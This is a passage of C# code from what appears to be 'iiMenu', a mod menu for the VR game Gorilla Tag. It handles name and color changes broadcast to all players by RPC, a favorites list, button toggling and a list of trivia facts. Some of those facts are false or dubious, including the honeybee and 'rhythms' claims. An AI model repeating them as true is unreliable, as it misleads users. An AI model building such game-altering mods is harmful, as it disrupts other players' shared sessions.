GorillaComputer.instance.savedName = PlayerName;
PlayerPrefs.SetString("playerName", PlayerName);
PlayerPrefs.Save();
ChangeColor(GorillaTagger.Instance.offlineVRRig.playerColor);
}
}
catch (Exception exception)
{
UnityEngine.Debug.LogError(string.Format("iiMenu <b>NAME ERROR</b>
{1} - {0}", exception.Message, exception.StackTrace));
}
}
//GorillaTagger.Instance.offlineVRRig.mainSkin.material.color =
color;
GorillaTagger.Instance.UpdateColor(color.r, color.g, color.b);
PlayerPrefs.Save();
GorillaTagger.Instance.myVRRig.RPC("InitializeNoobMaterial",
RpcTarget.All, new object[] { color.r, color.g, color.b, false });
RPCProtection();
}
else
{
isUpdatingValues = true;
valueChangeDelay = Time.time + 0.5f;
changingColor = true;
colorChange = color;
}
}
else
{
PlayerPrefs.SetFloat("redValue", Mathf.Clamp(color.r, 0f, 1f));
PlayerPrefs.SetFloat("greenValue", Mathf.Clamp(color.g, 0f, 1f));
PlayerPrefs.SetFloat("blueValue", Mathf.Clamp(color.b, 0f, 1f));
//GorillaTagger.Instance.offlineVRRig.mainSkin.material.color =
color;
GorillaTagger.Instance.UpdateColor(color.r, color.g, color.b);
PlayerPrefs.Save();
GorillaTagger.Instance.myVRRig.RPC("InitializeNoobMaterial",
RpcTarget.All, new object[] { color.r, color.g, color.b, false });
RPCProtection();
}
}
NotifiLib.SendNotification("<color=grey>[</color><color=yellow>FAVORITES</
color><color=grey>]</color> Removed from favorites.");
GorillaTagger.Instance.offlineVRRig.PlayHandTapLocal(48, GetIndex("Right
Hand").enabled, 0.4f);
} else
{
favorites.Add(target.buttonText);
NotifiLib.SendNotification("<color=grey>[</color><color=yellow>FAVORITES</
color><color=grey>]</color> Added to favorites.");
GorillaTagger.Instance.offlineVRRig.PlayHandTapLocal(50, GetIndex("Right
Hand").enabled, 0.4f);
}
}
else
{
if (target.isTogglable)
{
target.enabled = !target.enabled;
if (target.enabled)
{
NotifiLib.SendNotification("<color=grey>[</color><color=green>ENABLE</
color><color=grey>]</color> " + target.toolTip);
if (target.enableMethod != null)
{
try { target.enableMethod.Invoke(); } catch
{ }
}
}
else
{
NotifiLib.SendNotification("<color=grey>[</color><color=red>DISABLE</
color><color=grey>]</color> " + target.toolTip);
if (target.disableMethod != null)
{
try { target.disableMethod.Invoke(); }
catch { }
}
}
}
else
{
NotifiLib.SendNotification("<color=grey>[</color><color=green>ENABLE</
color><color=grey>]</color> " + target.toolTip);
if (target.method != null)
{
try { target.method.Invoke(); } catch { }
}
}
}
}
else
{
UnityEngine.Debug.LogError(buttonText + " does not exist");
}
}
}
ReloadMenu();
}
public static bool annoyingMode = false; // build with this enabled for a
surprise
public static string[] facts = new string[] {
"The honeybee is the only insect that produces food eaten by humans.",
"Bananas are berries, but strawberries aren't.",
"The Eiffel Tower can be 15 cm taller during the summer due to thermal
expansion.",
"A group of flamingos is called a 'flamboyance.'",
"The shortest war in history was between Britain and Zanzibar on August
27, 1896 � Zanzibar surrendered after 38 minutes.",
"Cows have best friends and can become stressed when they are
separated.",
"The first computer programmer was a woman named Ada Lovelace.",
"A 'jiffy' is an actual unit of time, equivalent to 1/100th of a
second.",
"Octopuses have three hearts and blue blood.",
"The world's largest desert is Antarctica.",
"Honey never spoils. Archaeologists have found pots of honey in ancient
Egyptian tombs that are over 3,000 years old and still perfectly edible.",
"The smell of freshly-cut grass is actually a plant distress call.",
"The average person spends six months of their life waiting for red
lights to turn green.",
"A group of owls is called a parliament.",
"The longest word in the English language without a vowel is
'rhythms.'",
"The Great Wall of China is not visible from the moon without aid.",
"Venus rotates so slowly on its axis that a day on Venus (one full
rotation) is longer than a year on Venus (orbit around the sun).",
"The world's largest recorded snowflake was 15 inches wide.",
"There are more possible iterations of a game of chess than there are
atoms in the known universe.",
"A newborn kangaroo is the size of a lima bean and is unable to hop
until it's about 8 months old.",
"The longest hiccuping spree lasted for 68 years!",
"A single cloud can weigh more than 1 million pounds.",
"Honeybees can recognize human faces.",
"Cats have five toes on their front paws but only four on their back
paws.",
"The inventor of the frisbee was turned into a frisbee. Walter
Morrison, the inventor, was cremated, and his ashes were turned into a frisbee
after he passed away.",
"Penguins give each other pebbles as a way of proposing."
};
}
}